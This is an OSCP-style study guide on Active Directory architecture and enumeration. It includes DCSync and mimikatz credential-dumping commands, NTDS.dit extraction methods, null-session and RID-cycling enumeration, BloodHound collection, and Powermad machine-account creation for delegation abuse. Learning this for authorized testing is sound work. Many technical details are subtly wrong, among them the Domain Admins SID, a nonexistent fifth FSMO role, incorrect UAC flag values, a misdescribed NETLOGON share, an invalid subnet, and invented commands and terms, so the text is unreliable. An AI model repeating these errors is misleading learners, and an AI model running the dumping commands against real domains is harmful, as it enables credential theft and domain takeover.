Domain 6Active Directory AttacksADVANCED

Active Directory: Introduction and Enumeration

Study notes for Active Directory: Introduction and Enumeration covering key PEN-200 methodology and lab techniques.

Domain: Domain 6: Active Directory Exploitation•Updated: 2026-09-05
#Active Directory Introduction & Enumeration#PEN-200

Active Directory: Introduction and Enumeration

OSCP Study Guide | Chapter 17 Focus: Understanding AD architecture, enumeration techniques, and attack path discovery.


Table of Contents

  1. Active Directory Fundamentals
  2. AD Architecture
  3. AD Objects
  4. Authentication Protocols
  5. AD Database and Shares
  6. Trust Relationships
  7. Enumeration from Outside AD
  8. Enumeration from Inside AD
  9. Tools Mastery
  10. Group Policy Analysis
  11. ACL and ACE Analysis
  12. Delegation Types
  13. BloodHound Attack Paths
  14. Cypher Queries for BloodHound

1. Active Directory Fundamentals

What is Active Directory?

  • Microsoft’s directory service for Windows Domain environments.
  • Centralized database of network resources and identities.
  • Manages users, computers, groups, and policies at scale.
  • The backbone of 90%+ enterprise Windows environments.

Why AD Matters for OSCP

Reason Explanation
Prevalence Most OSCP labs contain AD domains.
Attack Surface Rich attack surface: auth protocols, trusts, GPOs, ACLs.
Pivoting AD is the pivot point for lateral movement.
Domain Admin Gaining DA = owning the entire domain.
Real-world relevance Matches enterprise penetration testing scenarios.

Directory Services Concept

  • A specialized database optimized for read queries.
  • Stores information in a hierarchical tree structure.
  • Supports search, filter, and sort operations.
  • Designed for authentication, authorization, and management.
Directory Service Characteristics:
├── Read-optimized (not write-optimized)
├── Hierarchical organization
├── Schema-defined object types
├── Replication across controllers
├── Supports distributed queries
└── Integrates with authentication protocols

LDAP Protocol

  • Lightweight Directory Access Protocol (RFC 4510-4519).
  • Runs on TCP port 389 (unencrypted) or 636 (LDAPS/TLS).
  • Client-server protocol for querying and modifying directory entries.
  • AD uses LDAP as its primary access protocol.

LDAP Key Concepts

Concept Description
DN (Distinguished Name) Full path to an object (e.g., CN=User,OU=Sales,DC=corp,DC=local)
RDN (Relative DN) The name component at one level (e.g., CN=User)
Schema Defines object classes and attributes
Base DN Starting point for searches (e.g., DC=corp,DC=local)
Attributes Properties of objects (e.g., sAMAccountName, mail)

LDAP Attribute Types

Type Examples
Single-valued sAMAccountName, objectClass, distinguishedName
Multi-valued member, memberOf, proxyAddresses
Constructed memberOf (computed from group membership)
Operational whenCreated, uSNChanged

Essential LDAP Attributes for Enumeration

Attribute Description Attack Relevance
sAMAccountName Logon name Identify valid accounts
userPrincipalName UPN for logon Kerberos TGT requests
description Free-text field Often contains passwords
unicodePwd Password (write-only) Password reset attacks
servicePrincipalName SPN for Kerberos AS-REP Roasting, Kerberoasting
pwdLastSet Last password change Identify stale passwords
lastLogon / lastLogonTimestamp Last login time Identify active accounts
userAccountControl Account flags Identify enabled/disabled accounts
msDS-AllowedToActOnBehalfOfOtherIdentity Delegation Resource-Based Constrained Delegation
msDS-GroupMSAMembership MSA membership Managed Service Accounts

2. AD Architecture

Domains, Trees, Forests

These form the AD naming hierarchy.

graph TB
    subgraph Forest["🌲 Forest (contoso.com)"]
        subgraph Tree1["🌳 Tree 1"]
            D1["Domain: contoso.com<br/>(Root Domain)"]
            D2["Domain: uk.contoso.com<br/>(Child Domain)"]
            D3["Domain: us.contoso.com<br/>(Child Domain)"]
        end
        subgraph Tree2["🌳 Tree 2"]
            D4["Domain: fabrikam.com<br/>(Separate Tree)"]
        end
    end

    D1 --> D2
    D1 --> D3

    style Forest fill:#e1f5fe
    style Tree1 fill:#f3e5f5
    style Tree2 fill:#f3e5f5
    style D1 fill:#fff3e0
    style D2 fill:#fff3e0
    style D3 fill:#fff3e0
    style D4 fill:#fff3e0
Component Description Trust Behavior
Domain Security boundary. Contains its own NTDS.dit. N/A
Tree Group of domains sharing a DNS namespace. Two-way transitive auto-trusts
Forest Top-level AD boundary. Contains one or more trees. Two-way transitive between all trees

Key Points

  • A forest is the top-level security boundary.
  • Each domain has its own copy of the AD database.
  • Transitive trusts flow automatically within a forest.
  • Cross-forest trusts must be explicitly created.

Sites and Subnets

graph LR
    subgraph Site1["📍 Site: HQ"]
        direction TB
        DC1["DC1 (PDC Emulator)"]
        DC2["DC2 (Read-only DC)"]
        Subnet1["10.0.0.0.0/8"]
    end

    subgraph Site2["📍 Site: Branch"]
        direction TB
        DC3["DC3 (RODC)"]
        Subnet2["172.16.0.0/12"]
    end

    Site1 <-->|"Replication Link<br/>(Scheduled)"| Site2

    style Site1 fill:#e8f5e9
    style Site2 fill:#fff9c4
Concept Purpose
Site Represents a well-connected IP network.
Subnet IP range associated with a site.
Site Link Defines replication cost and schedule between sites.
Site-aware auth Clients authenticate to DCs in their own site first.

Why Sites Matter for Attacks

  • RODCs (Read-Only DCs) in branch offices may have cached credentials.
  • ASR (Admin SD Protection) replication delays between sites.
  • DCSync can target any writable DC regardless of site.
  • Knowledge of sites helps identify RODCs vs writable DCs.

Domain Controllers

graph TB
    subgraph "Domain Controller Roles"
        direction TB
        PDC["PDC Emulator<br/>(Time source, password changes)"]
        RID["RID Master<br/>(Unique SID allocation)"]
        INF["Infrastructure Master<br/>(Cross-domain object updates)"]
        FSMO["FSMO Roles<br/>(5 total per forest)"]
        Schema["Schema Master<br/>(Forest-wide, 1 only)"]
        DOM["Domain Master<br/>(Per domain, 1 only)"]
    end

    FSMO --> PDC
    FSMO --> RID
    FSMO --> INF
    FSMO --> Schema
    FSMO --> DOM

    style FSMO fill:#ffebee
    style PDC fill:#fff3e0
    style RID fill:#fff3e0
    style INF fill:#fff3e0
    style Schema fill:#e1f5fe
    style DOM fill:#e1f5fe

FSMO Roles

Role Scope Count Purpose
Schema Master Forest 1 Controls schema updates
Domain Naming Master Forest 1 Controls domain add/remove
PDC Emulator Domain 1 per domain Password changes, time sync
RID Master Domain 1 per domain Allocates RID pools
Infrastructure Master Domain 1 per domain Updates cross-domain references

DC Attack Relevance

  • DCSync attacks target any DC with appropriate privileges.
  • Golden Ticket requires KRBTGT hash from any DC.
  • FSMO role holder may have additional privileges.
  • RODCs cannot be used for DCSync (read-only).

Global Catalog

graph TB
    GC["Global Catalog Server"]
    subgraph "GC Partial Attribute Set"
        PA1["sAMAccountName"]
        PA2["displayName"]
        PA3["mail"]
        PA4["userPrincipalName"]
        PA5["servicePrincipalName"]
        PA6["+ 150 other attributes"]
    end

    GC --> PA1
    GC --> PA2
    GC --> PA3
    GC --> PA4
    GC --> PA5
    GC --> PA6

    subgraph "Full Replica"
        FR["All attributes for<br/>own domain objects"]
    end

    GC --> FR

    style GC fill:#e1f5fe
    style PA1 fill:#fff3e0
    style PA2 fill:#fff3e0
    style PA3 fill:#fff3e0
    style PA4 fill:#fff3e0
    style PA5 fill:#fff3e0
    style PA6 fill:#fff3e0
    style FR fill:#e8f5e9
  • Contains a partial replica of all objects in the forest.
  • Holds the full replica of objects in its own domain.
  • Listened on LDAP port 3268 (unencrypted) or 3269 (LDAPS).
  • Used for forest-wide searches without cross-domain referrals.

GC Attack Relevance

  • Querying GC gives forest-wide visibility.
  • Contains SPN attributes across all domains (useful for Kerberoasting).
  • Does NOT contain password hashes (safe to query).
  • msDS-IsGC attribute identifies GC servers.

3. AD Objects

Users

classDiagram
    class User {
        +sAMAccountName: string
        +userPrincipalName: string
        +displayName: string
        +mail: string
        +description: string
        +userAccountControl: int
        +pwdLastSet: long
        +lastLogonTimestamp: long
        +servicePrincipalName: string[]
        +memberOf: DN[]
        +primaryGroupID: int
        +badPasswordTime: long
        +lockoutTime: long
        +passwordNotRequired: bool
        +doesNotRequirePreAuth: bool
        +trustedToAuthForDelegation: bool
    }

UserAccountControl (UAC) Flags

Flag Value Meaning Attack Relevance
NORMAL_ACCOUNT 512 Standard user Baseline
DONT_EXPIRE_PASSWORD 65536 Password never expires High-value target
NOT_DELEGATED 1048576 Cannot be delegated Blocks delegation attacks
USE_DES_KEY_ONLY 2097152 Forces DES encryption AS-REP Roasting
DONT_REQ_PREAUTH 4194304 No Kerberos pre-auth AS-REP Roasting
TRUSTED_FOR_DELEGATION 524288 Unconstrained delegation Delegation attacks
TRUSTED_TO_AUTH_FOR_DELEGATION 1073741824 RBCD target S4U2Self/S4U2Proxy
SENSITIVE_ACCOUNT 1048576 Protected from delegation Defense indicator
PASSWORD_NOT_REQUIRED 32 Empty password allowed Trivial to exploit

Calculating UAC

Example: UAC = 593920
593920 = 512 (NORMAL) + 65536 (DONT_EXPIRE) + 524288 (TRUSTED_FOR_DELEGATION)
→ Normal account, password never expires, unconstrained delegation enabled

Groups

graph TB
    subgraph "Group Scopes"
        UG["Universal Group<br/>(Forest-wide)"]
        DG["Domain Local Group<br/>(Domain resources)"]
        GG["Global Group<br/>(Domain members)"]
    end

    subgraph "Group Types"
        SG["Security Group<br/>(Access control)"]
        DG2["Distribution Group<br/>(Email only)"]
    end

    subgraph "Built-in Groups (High Value)"
        DA["Domain Admins"]
        EA["Enterprise Admins"]
        EA["Schema Admins"]
        AG["Account Operators"]
        SO["Server Operators"]
    end

    style DA fill:#ffebee
    style EA fill:#ffebee
    style AG fill:#fff3e0
    style SO fill:#fff3e0

Group Scope Matrix

Scope Can Contain Can Be Assigned Permissions On
Universal Users, Global groups, Universal groups Any resource in the forest
Domain Local Any object type Resources in the same domain
Global Users, Global groups Resources in the same domain

Best Practice: AGDLP / AGUDLP

AGDLP: Accounts → Global groups → Domain Local groups → Permissions
AGUDLP: Accounts → Global → Universal → Domain Local → Permissions

High-Value Built-in Groups

Group SID Suffix Privilege
Domain Admins S-1-5-32-544 Full domain control
Enterprise Admins S-1-5-32-519 Full forest control
Schema Admins S-1-5-32-518 Schema modification
Account Operators S-1-5-32-548 Create/modify users (not DA/EA)
Server Operators S-1-5-32-549 Manage servers
Print Operators S-1-5-32-550 Print spooler (PrintNightmare)
Backup Operators S-1-5-32-551 Backup access (NTDS.dit)
DnsAdmins Custom DNS zone control (DCOM privesc)
Exchange Windows Permissions Custom Can modify DA group

Computers

  • Every domain-joined machine is a computer object in AD.
  • Has a machine account with a password (auto-rotated every 30 days).
  • Default prefix: $ (e.g., WORKSTATION01$).
  • Members of the Domain Computers group by default.

Computer Object Attack Relevance

Attack Requirement
Resource-Based Constrained Delegation Write access to computer object
GPO Abuse Computer in OU with vulnerable GPO
MS-ESENT / PrinterBug Write DACL on computer object
Shadow Credentials Write msDS-KeyCredentialLink
RBCD via SPN Control over computer’s SPN

OUs (Organizational Units)

  • Container for organizing objects within a domain.
  • GPOs are linked to OUs (not groups).
  • Delegation can be granted at OU level.
  • OUs form a hierarchy but are NOT security boundaries.
Example OU Structure:
DC=corp,DC=local
├── OU=Users
│   ├── OU=Sales
│   │   ├── User: john.sales
│   │   └── User: jane.sales
│   └── OU=Engineering
│       ├── User: dev1
│       └── User: dev2
├── OU=Servers
│   ├── OU=DCs
│   │   └── Computer: DC01$
│   └── OU=FileServers
│       └── Computer: FILE01$
└── OU=Workstations
    ├── Computer: WS01$
    └── Computer: WS02$

GPOs (Group Policy Objects)

  • Centralized configuration mechanism.
  • Applied to OUs, domains, or sites.
  • Contains Group Policy Preferences (GPP) and security settings.
  • Stored in SYSVOL as XML/ADMX files.

GPO Attack Relevance

Attack Vector Description
GPP Passwords cpassword in XML (AES-256, key is public)
Restricted Groups Forces group membership
Preferences Drive Maps May contain credentials
Scheduled Tasks Runs as SYSTEM or high-privilege user
Service Configuration May run services with weak credentials
Logon Scripts May contain hardcoded credentials
GPO ACL Abuse Modify GPO if you have Write access

4. Authentication Protocols

Kerberos Overview

sequenceDiagram
    participant C as Client
    participant KDC as KDC (AS + TGS)
    participant S as Service

    Note over C,S: Phase 1: TGT Acquisition (AS Exchange)
    C->>KDC: AS-REQ (user, realm, timestamp)
    KDC->>KDC: Lookup user, verify pre-auth
    KDC-->>C: AS-REP (TGT encrypted with KDC key,<br/>Session key encrypted with user key)

    Note over C,S: Phase 2: Service Ticket (TGS Exchange)
    C->>KDC: TGS-REQ (TGT, SPN, session key)
    KDC->>KDC: Verify TGT, issue service ticket
    KDC-->>C: TGS-REP (Service ticket encrypted<br/>with service key, new session key)

    Note over C,S: Phase 3: Service Access
    C->>S: AP-REQ (Service ticket, authenticator)
    S->>S: Verify ticket, grant access
    S-->>C: AP-REP (Optional challenge-response)

Kerberos Key Concepts

Term Description
KDC Key Distribution Center (runs on DCs)
AS Authentication Service (issues TGTs)
TGS Ticket Granting Service (issues service tickets)
TGT Ticket Granting Ticket (encrypted with KRBTGT key)
SPN Service Principal Name (identifies a service)
Ticket Encrypted blob proving identity
Pre-authentication Proof of identity before TGT issuance (PA-ENC-TIMESTAMP)
Realm Kerberos domain (usually DNS domain in uppercase)

Kerberos Ticket Structure

TGT Structure:
├── Client Principal (who the ticket is for)
├── Target Principal (krbtgt/REALM@REALM)
├── Session Key (for TGS communication)
├── Start Time
├── End Time
├── Renew Until
├── Flags (forwardable, renewable, etc.)
└── Encrypted with: KRBTGT account key

Kerberos Ports

Port Service
TCP/UDP 88 Kerberos (AS + TGS)
TCP 464 Password change service (kpasswd)

NTLM Overview

sequenceDiagram
    participant C as Client
    participant S as Server

    Note over C,S: NTLM Challenge-Response (3-way handshake)

    C->>S: NTLM Negotiate (client capabilities)
    S-->>C: NTLM Challenge (8-byte random nonce)
    C->>C: Hash password → compute response
    C->>S: NTLM Authenticate (response to challenge)
    S->>S: Verify response against stored hash
    S-->>C: Access Granted / Denied

NTLM Hash Structure

NTLM Hash Components:
├── NTLMv1: LANMAN hash + NT hash (weak, deprecated)
├── NTLMv2: Response includes username, domain, timestamp
└── Stored as: LM Hash : NT Hash in NTDS.dit
    (LM hash is empty on modern systems)

NTLM vs Kerberos

Feature NTLM Kerberos
Protocol Challenge-response Ticket-based
Ports 445/SMB 88/TCP-UDP
**Delegation No native delegation Supports delegation
Encryption Session security only Mutual authentication
Pass-the-Hash Supported Not directly (needs TGT)
Relay Attacks Vulnerable Protected (SPN binding)
Default since Pre-Windows 2000 Windows 2000+

NTLM Attack Relevance

Attack Description
Pass-the-Hash Reuse NTLM hash without plaintext password
NTLM Relay Relay authentication to another service
Overpass-the-Hash Convert NT hash to Kerberos TGT
Pass-the-Pass Reuse captured NTLM response

SSP (Security Support Provider)

  • DLL loaded into processes that perform authentication.
  • Implements authentication protocols (Kerberos, NTLM, Negotiate).
  • Loaded into lsass.exe on the DC side.
  • Loaded into client processes on the client side.

SSP Attack Relevance

Attack Description
Mimikatz Injects custom SSP to capture credentials
Kerberos Golden/Silver Ticket Forges tickets using extracted keys
SSP Injection Load malicious DLL into lsass
Credential Dumping Read memory of lsass via SSP hook

Common SSPs

SSP DLL Protocol
kerberos.dll Kerberos
msapsspc.dll NTLM
digestsse.dll Digest authentication
schannel.dll SSL/TLS
wdigest.dll Stores plaintext credentials (if enabled)

5. AD Database and Shares

NTDS.dit

  • The Active Directory database file.
  • Contains all objects, attributes, and password hashes.
  • Uses Extensible Storage Engine (ESE) format (Jet Blue).
  • Located at: %SystemRoot%\NTDS\ntds.dit

NTDS.dit Contents

Data Type Examples
User accounts Hashes (NT, LM), attributes, group membership
Computer accounts Machine account passwords
Group objects Membership, scope, type
GPO data Links, versions, security settings
Trust relationships Trust passwords, trust direction
Schema Object class definitions

Extracting NTDS.dit

Method Requirements Command
Volume Shadow Copy Local admin on DC vssadmin + esentutl
DCSync Replication privileges (DA/Enterprise Admin) secretsdump.py -just-dc
Ntdsutil Local admin on DC ntdsutil "ac i ntds" "ifm" "create full C:\temp"
DiskShadow Local admin on DC diskshadow script

DCSync Attack

# Using Impacket
secretsdump.py -just-dc -no-pass DOMAIN/admin@DC_IP

# Using Mimikatz
lsadump::dcsync /user:DOMAIN\krbtgt
lsadump::dcsync /user:DOMAIN\administrator

# Required privileges:
# - Replicating Directory Changes
# - Replicating Directory Changes All
# - Replicating Directory Changes In Filtered Set

SYSVOL and NETLOGO Shares

SYSVOL

  • Shared folder on every DC: \\DOMAIN\SYSVOL
  • Contains Group Policy Objects and logon scripts.
  • Replicated to all DCs via FRS or DFS-R.
  • Accessible to domain users (read-only).
SYSVOL Structure:
\\DOMAIN\SYSVOL\
├── DOMAIN\
│   ├── Policies\
│   │   └── {GUID}\
│   │       ├── Machine\
│   │       │   └── Registry.pol
│   │       └── User\
│   │           └── Preferences\
│   │               ├── Groups\Groups.xml
│   │               ├── ScheduledTasks\ScheduledTasks.xml
│   │               └── Drives\Drives.xml
│   └── Scripts\
│       └── logon.bat
  • Shared folder: \\DOMAIN\NETLOGO
  • Contains secure channel passwords and Lsa secrets.
  • Used for domain controller communication.
  • Contains password files for computer accounts.

Attack Relevance

Share Attack Vector
SYSVOL Read GPP passwords (cpassword), find credentials in scripts
SYSVOL Read restricted group configurations
NETLOGO Access secure channel data (requires higher privileges)
SYSVOL ACL Modify GPOs if Write access granted

6. Trust Relationships

Trust Types Overview

graph TB
    subgraph "Trust Types"
        IT["Intra-Forest Trust<br/>(Automatic, transitive)"]
        IFT["Inter-Forest Trust<br/>(Manual, can be transitive)"]
        ET["External Trust<br/>(Manual, non-transitive)"]
        CT["Child-to-Parent Trust<br/>(Automatic, transitive)"]
        PT["Parent-to-Child Trust<br/>(Automatic, transitive)"]
        CRT["Cross-Link Trust<br/>(Automatic, transitive)"]
    end

    subgraph "Trust Direction"
        O["One-Way<br/>(A trusts B)"]
        T["Two-Way<br/>(A trusts B, B trusts A)"]
    end

    IT --> O
    IT --> T
    IFT --> O
    IFT --> T
    ET --> O
    ET --> T

    style IT fill:#e8f5e9
    style IFT fill:#fff3e0
    style ET fill:#ffebee

Intra-Forest Trusts

  • Automatic trusts within the same forest.
  • Two-way transitive by default.
  • Created automatically when domains/trees are added.
graph LR
    subgraph "Forest: contoso.com"
        Root["Root: contoso.com"]
        Child1["uk.contoso.com"]
        Child2["us.contoso.com"]
    end

    Root <-->|"Two-way transitive"| Child1
    Root <-->|"Two-way transitive"| Child2
    Child1 <-->|"Cross-link<br/>(two-way transitive)"| Child2

    style Root fill:#e8f5e9
    style Child1 fill:#e8f5e9
    style Child2 fill:#e8f5e9

Inter-Forest Trusts

  • Manual trusts between different forests.
  • Can be one-way or two-way.
  • Can be transitive or non-transitive.
  • Uses forest-wide trust accounts (Trust_XXXXX$).
graph LR
    subgraph "Forest A: contoso.com"
        DA1["Enterprise Admins"]
    end

    subgraph "Forest B: partner.com"
        DA2["Enterprise Admins"]
    end

    DA1 <-->|"Inter-forest trust<br/>(Two-way, Transitive)"| DA2

    style DA1 fill:#fff3e0
    style DA2 fill:#fff3e0

Inter-Forest Trust Attack Relevance

Attack Description
Trust Ticket Attack Forge cross-forest TGT using trust key
Resource SID Delegation Abuse SID filtering bypass
Shadow Credentials Abuse trust relationship via key credential links

External Trusts

  • Manual trusts between domains in different forests.
  • Non-transitive by default.
  • Used for specific domain-to-domain relationships.

Trust Attack Summary

Trust Type Auto-Created Transitive Attack Surface
Intra-forest Yes Yes High (automatic, widespread)
Inter-forest No Configurable Critical (cross-forest pivoting)
External No No Medium (limited scope)
Child-to-Parent Yes Yes High (automatic hierarchy)

7. Enumeration from Outside AD

Scenario

  • You have network access to the target.
  • You are NOT domain-joined.
  • You may have null sessions or anonymous access.

DNS Zone Transfers

# Attempt AXFR zone transfer
dnszone dump -d target.com DC_IP

# Using dig
dig AXFR @DC_IP target.com

# Using nslookup
nslookup
> server DC_IP
> ls -l target.com

# Using Python dnspython
python3 -c "import dns.resolver; print(dns.resolver.resolve('target.com', 'AXFR'))"

What DNS Reveals

Record Type Information
A IP addresses of hosts
AAAA IPv6 addresses
CNAME Aliases (service names)
SRV Service locations (DCs, GCs, LDAP, Kerberos)
MX Mail servers
NS Name servers
TXT SPF, verification records

SRV Records (Critical)

_ldap._tcp.dc._msdcs.target.com → Domain Controllers
_kerberos._tcp.target.com → Kerberos KDCs
_gc._tcp.target.com → Global Catalog servers

SMB Enumeration

# Check null session access
rpcclient -U "" DC_IP

# List shares
smbclient -L \\\\DC_IP -U%

# Using CrackMapExec
crackmapexec smb DC_IP -u '' -p ''

# Using NetExec (newer CME)
netexec smb DC_IP -u '' -p ''

# Enumerate users via RID cycling
lookupsid.py -no-pass DOMAIN/DC_IP

RID Cycling

# RID (Relative Identifier) cycling
# Domain Admin RID = 500
# Domain Users RID = 513
# Domain Computers RID = 515

# Using Impacket
lookupsid.py -no-pass DOMAIN/DC_IP

# Manual approach
# Try RIDs 1000-50000 to enumerate all users

LDAP Queries (Anonymous/Null Session)

# Anonymous LDAP bind
ldapsearch -x -h DC_IP -b "DC=target,DC=com" "(objectClass=*)"

# Null session LDAP
ldapsearch -x -h DC_IP -D "" -w "" -b "DC=target,DC=com" "(objectClass=user)"

# Query specific attributes
ldapsearch -x -h DC_IP -b "DC=target,DC=com" \
  "(objectClass=user)" sAMAccountName mail description

# Query groups
ldapsearch -x -h DC_IP -b "DC=target,DC=com" "(objectClass=group)"

# Query computers
ldapsearch -x -h DC_IP -b "DC=target,DC=com" "(objectClass=computer)"

enum4linux

# Full enumeration
enum4linux -a DC_IP

# Specific checks
enum4linux -U DC_IP    # Users
enum4linux -G DC_IP    # Groups
enum4linux -S DC_IP    # Shares
enum4linux -P DC_IP    # Passwords policy
enum4linux -O DC_IP    # OS info

Outside Enumeration Checklist

Technique Tool What You Get
DNS Zone Transfer dig, dnsenum Hostnames, IPs, SRV records
SMB Null Session rpcclient, smbclient Users, groups, shares
LDAP Anonymous ldapsearch Users, groups, computers, OUs
RID Cycling lookupsid.py All user accounts
SMB Signing Check crackmapexec Relay attack feasibility
Port Scan nmap Open services, OS detection
Share Access smbclient Readable files, scripts

8. Enumeration from Inside AD

Scenario

  • You have domain credentials (even low-privilege).
  • You are domain-joined or can authenticate.
  • You can query LDAP, SMB, and RPC interfaces.

User Enumeration

# PowerShell - Get all users
Get-ADUser -Filter * -Properties *

# Get specific attributes
Get-ADUser -Filter * -Properties sAMAccountName, description, \
  servicePrincipalName, pwdLastSet, lastLogonTimestamp, \
  userAccountControl, passwordNeverExpires, \
  doesNotRequirePreAuth, trustedForDelegation

# Users with SPNs (Kerberoasting targets)
Get-ADUser -Filter {servicePrincipalName -ne "$null"} \
  -Properties servicePrincipalName

# Users without pre-auth (AS-REP Roasting targets)
Get-ADUser -Filter {doesNotRequirePreAuth -eq $true} \
  -Properties sAMAccountName

# Users with password never expires
Get-ADUser -Filter {passwordNeverExpires -eq $true} \
  -Properties sAMAccountName, description

# Users with empty passwords
Get-ADUser -Filter {passwordNotRequired -eq $true} \
  -Properties sAMAccountName
# Impacket - Get users
getusers.py -dc-ip DC_IP DOMAIN/user:password@DC_IP

# ldapsearch
ldapsearch -H ldap://DC_IP -D "DOMAIN\\user" -w password \
  -b "DC=domain,DC=com" "(objectClass=user)" sAMAccountName description

Group Enumeration

# All groups
Get-ADGroup -Filter * -Properties *

# Members of a specific group
Get-ADGroupMember "Domain Admins" -Recursive

# Groups a user belongs to
Get-ADPrincipalGroupMembership "username"

# High-value group members
$groups = @("Domain Admins", "Enterprise Admins", "Administrators",
            "Account Operators", "Server Operators", "Backup Operators")
foreach ($g in $groups) {
    Write-Host "=== $g ==="
    Get-ADGroupMember $g -Recursive | Select-Object Name, ObjectClass
}

# Groups with SID History
Get-ADGroup -Filter * -Properties sidHistory |
  Where-Object { $_.sidHistory -ne $null }

Computer Enumeration

# All computers
Get-ADComputer -Filter * -Properties *

# Computers with specific attributes
Get-ADComputer -Filter * -Properties operatingSystem, \
  lastLogonTimestamp, servicePrincipalName, \
  msDS-AllowedToActOnBehalfOfOtherIdentity

# Domain Controllers
Get-ADComputer -Filter {operatingSystem -like "*Server*"} |
  Where-Object { $_.primaryGroupID -eq 516 }

# Computers with unconstrained delegation
Get-ADComputer -Filter {userAccountControl -band 524288} \
  -Properties userAccountControl

# RODCs
Get-ADComputer -Filter {isReadOnly -eq $true}

GPO Enumeration

# All GPOs
Get-GPO -All

# GPO details
Get-GPOReport -Name "GPO_Name" -ReportType XML

# GPOs linked to an OU
Get-GPO -All | Where-Object { $_.LinksTo -like "*OU_PATH*" }

# GPOs with preferences (potential credentials)
Get-GPO -All | ForEach-Object {
    $path = "\\DOMAIN\SYSVOL\DOMAIN\Policies\{\$($_.Id)}"
    if (Test-Path $path) {
        Get-ChildItem $path -Recurse -Filter "*.xml" |
          Select-String "cpassword" -List |
          Select-Object Path
    }
}

# Who can modify each GPO?
Get-GPO -All | ForEach-Object {
    $acl = Get-Acl "GPO:\$($_.DisplayName)"
    $acl.Access | Where-Object {
        $_.AccessRights -match "Write" -or
        $_.IdentityReference -match "Authenticated Users"
    }
}

Share Enumeration

# Enumerate shares on a computer
Get-SmbShare -ComputerName TARGET

# Using net commands
net share \\TARGET

# Using CrackMapExec
crackmapexec smb DC_IP -u user -p pass --shares

# Access a share
net use \\TARGET\SHARE /user:DOMAIN\user password

Trust Enumeration

# All trusts
Get-ADTrust -Filter *

# Trust details
Get-ADTrust -Filter * -Properties *

# Using net commands
netdom trust DOMAIN /domainlist

# Using systeminfo
systeminfo | Select-String "Domain"

# Using klist
klist domains

Inside Enumeration Checklist

Target Tool/Command Key Information
Users Get-ADUser, ldapsearch SPNs, no-preauth, descriptions
Groups Get-ADGroupMember DA/EA membership, nested groups
Computers Get-ADComputer Delegation, OS, last logon
GPOs Get-GPOReport Preferences, ACLs, scripts
Shares crackmapexec --shares Readable/writable shares
Trusts Get-ADTrust Trust direction, type, transitivity
OUs Get-ADOrganizationalUnit Delegation, GPO links
ACLs Get-Acl, dsacls ACE permissions, abuse potential

9. Tools Mastery

BloodHound

Overview

  • CyberArk product for AD attack path discovery.
  • Uses graph theory to model AD relationships.
  • Collects data via SharpHound (C#) or BloodHound Python.
  • Visualizes shortest paths to high-value targets.

Collection Methods

# SharpHound (C# collector)
# Method 1: All collectors
.\SharpHound.exe --CollectionMethods All

# Method 2: Specific collectors
.\SharpHound.exe --CollectionMethods DCOnly,Group,LocalAdmin,Session,Trusts

# Method 3: With credentials
.\SharpHound.exe -c All -d DOMAIN.COM -u user -p password

# BloodHound Python (alternative)
bloodhound-python -u user -p pass -d domain.com -dc DC_IP \
  -ns DC_IP --collection-methods All

Collection Methods

Method Description Time
Group Group membership, local groups Fast
User User attributes, sessions Fast
Computer Computer attributes, sessions Medium
LocalAdmin Local admin membership Medium
Session Active sessions on computers Medium
Trusts Trust relationships Fast
ACL ACL/ACE permissions Slow
ObjectProps Object properties Fast
DCOnly DC-only collection (no DC needed) Fast
DCOM DCOM-based collection Slow
PSRemote PowerShell Remoting collection Slow
All Everything Slow

BloodHound Node Types

Node Color Description
User Blue Domain user account
Computer Green Domain computer account
Group Purple Domain group
GPO Orange Group Policy Object
OU Yellow Organizational Unit
Domain Red AD domain
Container Gray AD container
ACL Cyan ACL relationship

BloodHound Edge Types

Edge Description Attack Relevance
MemberOf User/Group membership Privilege escalation
HasSession Active logon session Lateral movement
AdminTo Local admin rights Lateral movement
CanRDP RDP access Lateral movement
CanExecuteDCOM DCOM execution Lateral movement
AllowedToDelegate Delegation relationship Delegation attacks
CanResetPassword Password reset ACL Credential access
ForceChangePassword Force password change Credential access
AddMember Add to group ACL Privilege escalation
WriteDACl Modify ACL Privilege escalation
Owns Ownership Full control
GenericAll Full control ACL Full object control
GenericWrite Write access Modify object
WriteOwner Change owner Full control
Contains Container relationship Navigation
GPLink GPO link to OU GPO abuse
CanReadLAPSPassword LAPS read access Credential access

PowerView

  • PowerShell framework by HarmJ0y (Will Schroeder).
  • Primary tool for AD enumeration and manipulation.
  • Part of the Empire and PowerSploit frameworks.

Key Functions

# Import PowerView
Import-Module .\PowerView.ps1

# User enumeration
Get-NetUser                          # All users
Get-NetUser -UserName target         # Specific user
Get-DomainUser -SPN                  # Users with SPNs
Get-DomainUser -PreauthNotRequired   # AS-REP Roasting targets

# Group enumeration
Get-NetGroup                         # All groups
Get-NetGroupMember "Domain Admins"   # Group members
Get-NetGroup -GroupName "*admin*"    # Filter by name

# Computer enumeration
Get-NetComputer                      # All computers
Get-NetComputer -Ping                # Live computers
Get-DomainComputer -Unconstrained    # Unconstrained delegation

# GPO enumeration
Get-NetGPO                           # All GPOs
Get-NetGPOGroup                      # GPO group memberships
Get-ObjectAcl -ResolveIds            # ACL details

# Share enumeration
Get-NetShare -ComputerName TARGET    # Shares on computer
Invoke-ShareFinder                   # Interesting shares
Invoke-FileFinder                    # Sensitive files

# ACL enumeration
Get-ObjectAcl -SamAccountName target # ACLs on object
Get-ObjectAcl -ResolveIds -DistinguishedName "CN=..."

# Trust enumeration
Get-NetDomainTrust                   # Domain trusts
Get-NetForestTrust                   # Forest trusts

# Password spraying
Invoke-DomainUserLogon               # Test credentials

Powermad

  • PowerShell module for creating computer accounts.
  • Used for Resource-Based Constrained Delegation attacks.
  • Default: domain users can create up to 10 computer accounts.
# Import Powermad
Import-Module .\Powermad.ps1

# Create a computer account
New-MachineAccount -MachineAccount evilpc -Password $(ConvertTo-SecureString 'Password123!' -AsPlainText -Force)

# Verify creation
Get-ADComputer evilpc

# Use for RBCD attack
# 1. Create machine account
# 2. Add msDS-AllowedToActOnBehalfOfOtherIdentity ACL
# 3. Request TGS using S4U2Self/S4U2Proxy

RPCClient

# Connect to DC
rpcclient -U "" DC_IP              # Null session
rpcclient -U "user%pass" DC_IP     # Authenticated

# Commands within rpcclient
rpcclient> enumdomusers             # List users
rpcclient> queryuser 0x1F4          # User details (RID)
rpcclient> enumdomgroups            # List groups
rpcclient> querygroup 0x200         # Group details
rpcclient> queryusergroups 0x1F4    # User's groups
rpcclient> getdompwinfo             # Password policy
rpcclient> getusrdompwinfo username # User password status
rpcclient> enumalsusers             # Alias users
rpcclient> enumprivs                # Privileges

net Commands

# Domain information
net config workstation              # Current domain info
net view /domain:DOMAIN             # Domain resources

# User enumeration
net user /domain                    # All domain users
net user username /domain           # User details

# Group enumeration
net group /domain                   # All domain groups
